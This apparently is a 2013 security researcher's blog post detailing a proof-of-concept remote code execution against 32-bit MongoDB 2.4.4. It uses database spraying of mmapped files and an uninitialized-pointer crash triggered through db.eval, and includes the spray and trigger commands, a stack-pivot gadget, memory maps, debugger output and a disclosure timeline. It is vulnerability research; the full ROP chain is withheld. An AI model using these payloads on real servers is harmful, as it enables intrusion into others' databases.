mongodb – RCE by databaseSpraying

To keep going on mongodb research here is my last interesting finding.

Finding the Crash

In last release (after 2.2.3), 10gen chose to move to the V8 Javascript motor that sounds a very good idea. They also increased permeability in “$where” request to reduce impact of SSJI.

This time, the crash cannot be triggered from “$where” SSJI and don’t worry you need read-write access to a mongo database to reliably exploit it…

So as last time, I focussed on [native code] in javascript functions.
From a mongoclient, you can list every object methods by using prototypes :

for(var prop in DB.prototype) { print(prop + ' = ' + DB.prototype[prop]); }

But the only object I find with native code inside is the Mongo one :

> for(var prop in Mongo.prototype) { print(prop + ' = ' + Mongo.prototype[prop]); }
find = function find() { [native code] }
insert = function insert() { [native code] }
remove = function remove() { [native code] }
update = function update() { [native code] }
auth = function auth() { [native code] }
logout = function logout() { [native code] }
internalCursor = function internalCursor() { [native code] }

So let’s call this functions directly from prototype :

> db.eval('Mongo.prototype.find("a",{"b":"c"},"d","e","f","g","h")');
Fri May 31 13:34:07.514 DBClientCursor::init call() failed
Fri May 31 13:34:07.515 JavaScript execution failed: Error: error doing query: failed at src/mongo/shell/query.js:L78
Fri May 31 13:34:07.525 trying reconnect to 127.0.0.1:27017
Fri May 31 13:34:07.526 reconnect 127.0.0.1:27017 failed couldn't connect to server 127.0.0.1:27017

Already ? And on the server side ?

Fri May 31 13:34:07.387 Invalid access at address: 0x5000000 from thread: conn3
Fri May 31 13:34:07.387 Got signal: 11 (Segmentation fault).

Okay, we got Segmentation fault. But the address is always the same : 0x05000000
Trying to control it, I firstly abandonned the idea of making remote code exec with this bug.

One week later…

After noSuchCon, a new idea came in my mind (sure it’s alcohol and brainSniffing at this awesome conference). In 32bits, the databases cannot be larger than 2GB, because mongo use mmap for mapping all the files database in memory : http://blog.mongodb.org/post/137788967/32-bit-limitations

The solution is really ugly, but it will be a good POC.
What’s happen if you fill a database :

> use databaseSpray
switched to db databaseSpray
> sizechunk=0x1000; chunk=""; for(i=0;i<sizechunk;i++){ chunk+="a" } for(i=0;i<600000;i++){ db.my_collection.insert({my_chunk:chunk}) }
can't map file memory - mongo requires 64 bit build for larger datasets

Check the mongod map :

08048000-09124000 r-xp 00000000 08:05 1843431 /home/agix/exploit_mongo/mongodb-linux-i686-2.4.4-rc0/bin/mongod
09124000-09167000 rw-p 010dc000 08:05 1843431 /home/agix/exploit_mongo/mongodb-linux-i686-2.4.4-rc0/bin/mongod
09167000-0941a000 rw-p 00000000 00:00 0
0966b000-09769000 rw-p 00000000 00:00 0 [heap]
0f482000-2f442000 rw-s 00000000 08:01 4448278 /data/db/databaseSpray.10
2f442000-4f402000 rw-s 00000000 08:01 4448277 /data/db/databaseSpray.9
4f402000-6f3c2000 rw-s 00000000 08:01 4448276 /data/db/databaseSpray.8
6f3c2000-8f382000 rw-s 00000000 08:01 4448275 /data/db/databaseSpray.7
8f382000-af342000 rw-s 00000000 08:01 4448274 /data/db/databaseSpray.6
af342000-cf302000 rw-s 00000000 08:01 4448273 /data/db/databaseSpray.5
cf302000-df302000 rw-s 00000000 08:01 4448272 /data/db/databaseSpray.4
df302000-e7302000 rw-s 00000000 08:01 4448271 /data/db/databaseSpray.3
e7302000-eb302000 rw-s 00000000 08:01 4448270 /data/db/databaseSpray.2
eb302000-ed302000 rw-s 00000000 08:01 4448269 /data/db/databaseSpray.1
ed302000-ee302000 rw-s 00000000 08:01 4448268 /data/db/databaseSpray.0
ee302000-ef302000 rw-s 00000000 08:01 4448267 /data/db/databaseSpray.ns
ef302000-ef303000 ---p 00000000 00:00 0
ef303000-ef403000 rw-p 00000000 00:00 0
ef403000-ef404000 ---p 00000000 00:00 0
ef404000-efc04000 rw-p 00000000 00:00 0
efc04000-f0c04000 rw-s 00000000 08:01 4448266 /data/db/local.0
f0c04000-f1c04000 rw-s 00000000 08:01 4448265 /data/db/local.ns
f1c04000-f1c05000 ---p 00000000 00:00 0
f1c05000-f2405000 rw-p 00000000 00:00 0
f2405000-f2406000 ---p 00000000 00:00 0
f2406000-f2c06000 rw-p 00000000 00:00 0
f2c06000-f2c07000 ---p 00000000 00:00 0
f2c07000-f3407000 rw-p 00000000 00:00 0
f3407000-f3408000 ---p 00000000 00:00 0
f3408000-f3c08000 rw-p 00000000 00:00 0
f3c08000-f3c09000 ---p 00000000 00:00 0
f3c09000-f4409000 rw-p 00000000 00:00 0
f4409000-f440a000 ---p 00000000 00:00 0
f440a000-f4c0a000 rw-p 00000000 00:00 0
f4c0a000-f4d7f000 r--p 00000000 08:01 1279693 /usr/lib/locale/locale-archive
f4d7f000-f4e00000 rw-p 00000000 00:00 0
f4e00000-f4e21000 rw-p 00000000 00:00 0
f4e21000-f4f00000 ---p 00000000 00:00 0
f4f45000-f4f46000 ---p 00000000 00:00 0
f4f46000-f5746000 rw-p 00000000 00:00 0
f5746000-f5747000 ---p 00000000 00:00 0
f5747000-f7453000 rw-p 00000000 00:00 0
f7453000-f7593000 r-xp 00000000 08:01 3842112 /lib32/libc-2.11.3.so
f7593000-f7594000 ---p 00140000 08:01 3842112 /lib32/libc-2.11.3.so
f7594000-f7596000 r--p 00140000 08:01 3842112 /lib32/libc-2.11.3.so
f7596000-f7597000 rw-p 00142000 08:01 3842112 /lib32/libc-2.11.3.so
f7597000-f759a000 rw-p 00000000 00:00 0
f759a000-f75af000 r-xp 00000000 08:01 3842106 /lib32/libpthread-2.11.3.so
f75af000-f75b0000 r--p 00014000 08:01 3842106 /lib32/libpthread-2.11.3.so
f75b0000-f75b1000 rw-p 00015000 08:01 3842106 /lib32/libpthread-2.11.3.so
f75b1000-f75b3000 rw-p 00000000 00:00 0
f75b3000-f75d0000 r-xp 00000000 08:01 1297070 /usr/lib32/libgcc_s.so.1
f75d0000-f75d1000 rw-p 0001c000 08:01 1297070 /usr/lib32/libgcc_s.so.1
f75d1000-f75f5000 r-xp 00000000 08:01 3842125 /lib32/libm-2.11.3.so
f75f5000-f75f6000 r--p 00023000 08:01 3842125 /lib32/libm-2.11.3.so
f75f6000-f75f7000 rw-p 00024000 08:01 3842125 /lib32/libm-2.11.3.so
f75f7000-f75f8000 rw-p 00000000 00:00 0
f75f8000-f76e1000 r-xp 00000000 08:01 1297077 /usr/lib32/libstdc++.so.6.0.13
f76e1000-f76e5000 r--p 000e9000 08:01 1297077 /usr/lib32/libstdc++.so.6.0.13
f76e5000-f76e6000 rw-p 000ed000 08:01 1297077 /usr/lib32/libstdc++.so.6.0.13
f76e6000-f76ed000 rw-p 00000000 00:00 0
f76ed000-f76f4000 r-xp 00000000 08:01 3842108 /lib32/librt-2.11.3.so
f76f4000-f76f5000 r--p 00006000 08:01 3842108 /lib32/librt-2.11.3.so
f76f5000-f76f6000 rw-p 00007000 08:01 3842108 /lib32/librt-2.11.3.so
f7709000-f7710000 r--s 00000000 08:01 2501540 /usr/lib32/gconv/gconv-modules.cache
f7710000-f7713000 rw-p 00000000 00:00 0
f7713000-f7714000 r-xp 00000000 00:00 0 [vdso]
f7714000-f7730000 r-xp 00000000 08:01 3842107 /lib32/ld-2.11.3.so
f7730000-f7731000 r--p 0001b000 08:01 3842107 /lib32/ld-2.11.3.so
f7731000-f7732000 rw-p 0001c000 08:01 3842107 /lib32/ld-2.11.3.so
ffdfc000-ffe11000 rw-p 00000000 00:00 0 [stack]

My databaseSpray is not covering 0x05000000 yet… but if we create a new one :

> use databaseMapped
switched to db databaseMapped
> sizechunk=0x1338; chunk=""; for(i=0;i<sizechunk;i++){ chunk+="x01x02x03x04x05x06x07x08"; } for(i=0;i<30000;i++){ db.my_collection.insert({my_chunk:chunk}) }
can't map file memory - mongo requires 64 bit build for larger datasets
04048000-08048000 rw-s 00000000 08:01 4448283 /data/db/databaseMapped.2
08048000-09124000 r-xp 00000000 08:05 1843431 /home/agix/exploit_mongo/mongodb-linux-i686-2.4.4-rc0/bin/mongod
09124000-09167000 rw-p 010dc000 08:05 1843431 /home/agix/exploit_mongo/mongodb-linux-i686-2.4.4-rc0/bin/mongod
09167000-0941a000 rw-p 00000000 00:00 0
0966b000-09788000 rw-p 00000000 00:00 0 [heap]
0b482000-0d482000 rw-s 00000000 08:01 4448282 /data/db/databaseMapped.1
0d482000-0e482000 rw-s 00000000 08:01 4448281 /data/db/databaseMapped.0
0e482000-0f482000 rw-s 00000000 08:01 4448280 /data/db/databaseMapped.ns
0f482000-2f442000 rw-s 00000000 08:01 4448278 /data/db/databaseSpray.10
2f442000-4f402000 rw-s 00000000 08:01 4448277 /data/db/databaseSpray.9
4f402000-6f3c2000 rw-s 00000000 08:01 4448276 /data/db/databaseSpray.8
6f3c2000-8f382000 rw-s 00000000 08:01 4448275 /data/db/databaseSpray.7
8f382000-af342000 rw-s 00000000 08:01 4448274 /data/db/databaseSpray.6
af342000-cf302000 rw-s 00000000 08:01 4448273 /data/db/databaseSpray.5
cf302000-df302000 rw-s 00000000 08:01 4448272 /data/db/databaseSpray.4
df302000-e7302000 rw-s 00000000 08:01 4448271 /data/db/databaseSpray.3
e7302000-eb302000 rw-s 00000000 08:01 4448270 /data/db/databaseSpray.2
eb302000-ed302000 rw-s 00000000 08:01 4448269 /data/db/databaseSpray.1
ed302000-ee302000 rw-s 00000000 08:01 4448268 /data/db/databaseSpray.0
ee302000-ef302000 rw-s 00000000 08:01 4448267 /data/db/databaseSpray.ns
ef302000-ef303000 ---p 00000000 00:00 0
ef303000-ef403000 rw-p 00000000 00:00 0
ef403000-ef404000 ---p 00000000 00:00 0
ef404000-efc04000 rw-p 00000000 00:00 0
efc04000-f0c04000 rw-s 00000000 08:01 4448266 /data/db/local.0
f0c04000-f1c04000 rw-s 00000000 08:01 4448265 /data/db/local.ns
f1c04000-f1c05000 ---p 00000000 00:00 0
f1c05000-f2405000 rw-p 00000000 00:00 0
f2405000-f2406000 ---p 00000000 00:00 0
f2406000-f2c06000 rw-p 00000000 00:00 0
f2c06000-f2c07000 ---p 00000000 00:00 0
f2c07000-f3407000 rw-p 00000000 00:00 0
f3407000-f3408000 ---p 00000000 00:00 0
f3408000-f3c08000 rw-p 00000000 00:00 0
f3c08000-f3c09000 ---p 00000000 00:00 0
f3c09000-f4409000 rw-p 00000000 00:00 0
f4409000-f440a000 ---p 00000000 00:00 0
f440a000-f4c0a000 rw-p 00000000 00:00 0
f4c0a000-f4d7f000 r--p 00000000 08:01 1279693 /usr/lib/locale/locale-archive
f4d7f000-f4e00000 rw-p 00000000 00:00 0
f4e00000-f4e21000 rw-p 00000000 00:00 0
f4e21000-f4f00000 ---p 00000000 00:00 0
f4f45000-f4f46000 ---p 00000000 00:00 0
f4f46000-f5746000 rw-p 00000000 00:00 0
f5746000-f5747000 ---p 00000000 00:00 0
f5747000-f7453000 rw-p 00000000 00:00 0
f7453000-f7593000 r-xp 00000000 08:01 3842112 /lib32/libc-2.11.3.so
f7593000-f7594000 ---p 00140000 08:01 3842112 /lib32/libc-2.11.3.so
f7594000-f7596000 r--p 00140000 08:01 3842112 /lib32/libc-2.11.3.so
f7596000-f7597000 rw-p 00142000 08:01 3842112 /lib32/libc-2.11.3.so
f7597000-f759a000 rw-p 00000000 00:00 0
f759a000-f75af000 r-xp 00000000 08:01 3842106 /lib32/libpthread-2.11.3.so
f75af000-f75b0000 r--p 00014000 08:01 3842106 /lib32/libpthread-2.11.3.so
f75b0000-f75b1000 rw-p 00015000 08:01 3842106 /lib32/libpthread-2.11.3.so
f75b1000-f75b3000 rw-p 00000000 00:00 0
f75b3000-f75d0000 r-xp 00000000 08:01 1297070 /usr/lib32/libgcc_s.so.1
f75d0000-f75d1000 rw-p 0001c000 08:01 1297070 /usr/lib32/libgcc_s.so.1
f75d1000-f75f5000 r-xp 00000000 08:01 3842125 /lib32/libm-2.11.3.so
f75f5000-f75f6000 r--p 00023000 08:01 3842125 /lib32/libm-2.11.3.so
f75f6000-f75f7000 rw-p 00024000 08:01 3842125 /lib32/libm-2.11.3.so
f75f7000-f75f8000 rw-p 00000000 00:00 0
f75f8000-f76e1000 r-xp 00000000 08:01 1297077 /usr/lib32/libstdc++.so.6.0.13
f76e1000-f76e5000 r--p 000e9000 08:01 1297077 /usr/lib32/libstdc++.so.6.0.13
f76e5000-f76e6000 rw-p 000ed000 08:01 1297077 /usr/lib32/libstdc++.so.6.0.13
f76e6000-f76ed000 rw-p 00000000 00:00 0
f76ed000-f76f4000 r-xp 00000000 08:01 3842108 /lib32/librt-2.11.3.so
f76f4000-f76f5000 r--p 00006000 08:01 3842108 /lib32/librt-2.11.3.so
f76f5000-f76f6000 rw-p 00007000 08:01 3842108 /lib32/librt-2.11.3.so
f7709000-f7710000 r--s 00000000 08:01 2501540 /usr/lib32/gconv/gconv-modules.cache
f7710000-f7713000 rw-p 00000000 00:00 0
f7713000-f7714000 r-xp 00000000 00:00 0 [vdso]
f7714000-f7730000 r-xp 00000000 08:01 3842107 /lib32/ld-2.11.3.so
f7730000-f7731000 r--p 0001b000 08:01 3842107 /lib32/ld-2.11.3.so
f7731000-f7732000 rw-p 0001c000 08:01 3842107 /lib32/ld-2.11.3.so
f7732000-ff732000 rw-s 00000000 08:01 4448284 /data/db/databaseMapped.3
ffdfc000-ffe11000 rw-p 00000000 00:00 0 [stack]

Bingo ! The “/data/db/databaseMapped.2” file is mapped at my address.
And if you restart the mongod ?

Nothing is mapped, so you have to request one of your database to force mongod to map it :

> use databaseSpray
switched to db databaseSpray
> db.my_collection.findOne();
> use databaseMapped
switched to db databaseMapped
> db.my_collection.findOne();

The files are mapped exactly to the same place o/ ! No more long loop.

What the crash ?

The crash occurs because non initialisation of Mongo “conn” object when you directly call the prototype function. The luck is that the address at this point is mappable. So we can craft our own object.

0x89b68be <_ZN5mongo9mongoFindEPNS_7V8ScopeERKN2v89ArgumentsE+1070>: mov eax,DWORD PTR [edx]
0x89b68c0 <_ZN5mongo9mongoFindEPNS_7V8ScopeERKN2v89ArgumentsE+1072>: mov edx,DWORD PTR [ebp-0x14c]
0x89b68c6 <_ZN5mongo9mongoFindEPNS_7V8ScopeERKN2v89ArgumentsE+1078>: mov eax,DWORD PTR [eax]
0x89b68c8 <_ZN5mongo9mongoFindEPNS_7V8ScopeERKN2v89ArgumentsE+1080>: mov DWORD PTR [ebp-0x94],edx
0x89b68ce <_ZN5mongo9mongoFindEPNS_7V8ScopeERKN2v89ArgumentsE+1086>: mov DWORD PTR [ebp-0x170],eax

edx is the non initialized pointer : 0x05000000
and later :

0x89b69b1 <_ZN5mongo9mongoFindEPNS_7V8ScopeERKN2v89ArgumentsE+1313>: call   DWORD PTR [ebp-0x170]

We have to map at 0x05000000 a pointer to our first gadget. Unfortunately, this time again, we cannot use gadget made of bytes > 0x7F.

Let’s Pivot !

At this point, we control EIP, but not the stack…

Spending all my time finding a pivot with utf-8 bytes, I only find this one : 0x0855777c

 0x855777c: mov esp,0x83ffd656
 0x8557781: les eax,FWORD PTR [ebx+ebx*2]
 0x8557784: pop ebp
 0x8557785: ret

The 0x83ffd656 address is fill with our databaseSpray. So we just have to fill the databaseSpray with our ROPChain and RCE is achieved !

The end

I won’t publish a total exploit, the last part is boring, you just have to find a classic ropchain to copy shellcode in a RWX mmaped zone. You can use the same technique as before to pivot again in a ROP without utf-8 limlitation.

To sum up, the step :

Firstly fill a database with your ROPChain !

>use databaseSpray
switched to db databaseSpray
>rop="x01x02x03x04"; sizechunk=0x1000; chunk=""; for(i=0;i<sizechunk;i++){ chunk+="x74x0ax05x08"; } chunk.substring(0,(sizechunk-rop.length)); for(i=0;i<600000;i++){ db.my_collection.insert({my_chunk:chunk+rop}) }

Then create the good one that will fill the non initialized object.

>use databaseMapped
switched to db databaseMapped
> sizechunk=0x1338; chunk=""; for(i=0;i<sizechunk;i++){ chunk+="x05x7cx77x55x08x04x00x00"; } for(i=0;i<30000;i++){ db.my_collection.insert({my_chunk:chunk}) }
can't map file memory - mongo requires 64 bit build for larger datasets

Finally, trigger the bug o/

> db.eval('Mongo.prototype.find("a",{"b":"c"},"d","e","f","g","h")');

With database filled with “a” you totally control stack :

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0xf360fb70 (LWP 12464)]
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x9161a60 --> 0x915e2e0 --> 0x1
ECX: 0xf7e633a0 --> 0x0
EDX: 0x5000000 --> 0x5000004 --> 0x855777c (mov esp,0x83ffd656)
ESI: 0x0
EDI: 0xf360dae0 --> 0x94a967c --> 0x61 ('a')
EBP: 0x61616161 --> 0x0
ESP: 0x83ffd65e ('a' <repeats 200 times>...)
EIP: 0x61616161 --> 0x0
EFLAGS: 0x10203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
 0x6161615b: add BYTE PTR [eax],al
 0x6161615d: add BYTE PTR [eax],al
 0x6161615f: add BYTE PTR [eax],al
=> 0x61616161: add BYTE PTR [eax],al
 0x61616163: add BYTE PTR [eax],al
 0x61616165: add BYTE PTR [eax],al
 0x61616167: add BYTE PTR [eax],al
 0x61616169: add BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0x83ffd65e ('a' <repeats 200 times>...)
0004| 0x83ffd662 ('a' <repeats 200 times>...)
0008| 0x83ffd666 ('a' <repeats 200 times>...)
0012| 0x83ffd66a ('a' <repeats 200 times>...)
0016| 0x83ffd66e ('a' <repeats 200 times>...)
0020| 0x83ffd672 ('a' <repeats 200 times>...)
0024| 0x83ffd676 ('a' <repeats 200 times>...)
0028| 0x83ffd67a ('a' <repeats 200 times>...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x61616161 in ?? ()

I don’t think this exploit could be use in real life, but the POC is cool and the databaseSpray a funny feature !

Not a 0day ?

After speaking directly to 10gen, here is the new timeline :

2013-05-20 Responsibly disclose (Production release 2.4.3) to ZDI
2013-05-28 10gen release v2.4.4
2013-05-30 ZDI Answer : “They already knew this bug, it’s not a vulnerability anymore in 2.4.4” – Close Case
2013-05-30 I responded that the vuln still exist…
2013-05-30 I wrote this article, exploiting v2.4.4
2013-06-05 10gen contact me : “ZDI never contacted us”

As @markofu said “So somewhere between the intermediary & 10gen, communication broke down :(“

10gen is now actively working on a patch.

I let you try it on unstable v2.5.0…

Thx for reading !